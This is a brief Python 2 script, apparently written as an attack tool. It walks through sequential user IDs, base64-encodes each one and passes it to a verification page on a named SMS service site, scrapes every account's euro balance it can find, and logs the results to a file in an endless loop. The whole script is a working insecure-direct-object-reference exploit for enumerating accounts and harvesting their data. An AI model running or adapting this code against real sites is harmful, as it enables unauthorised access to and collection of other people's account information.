#!/usr/bin/env python # -*- coding: utf-8 -*- import urllib import urllib2 import re import base64 from cookielib import Cookie from cookielib import CookieJar cookiejar = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.89 Safari/537.36')] def revisarCuenta(iId): try: peticion = opener.open("http://www.ismsad.com/verificacion.php?id="+ base64.b64encode(str(iId))) datos = peticion.read() except urllib2.HTTPError, e: datos = e.fp.read() saldo = re.findall( r'<a href="usuarioCompraSMS.php"><strong>(.*) \xe2\x82\xac<\/strong>', datos) if saldo: return str(iId) + ": " + saldo[0] else: return None contador = 1 while True: cuenta = revisarCuenta(contador) if cuenta: f = open('cuentas.txt', 'a') print >> f, cuenta f.close() contador = contador + 1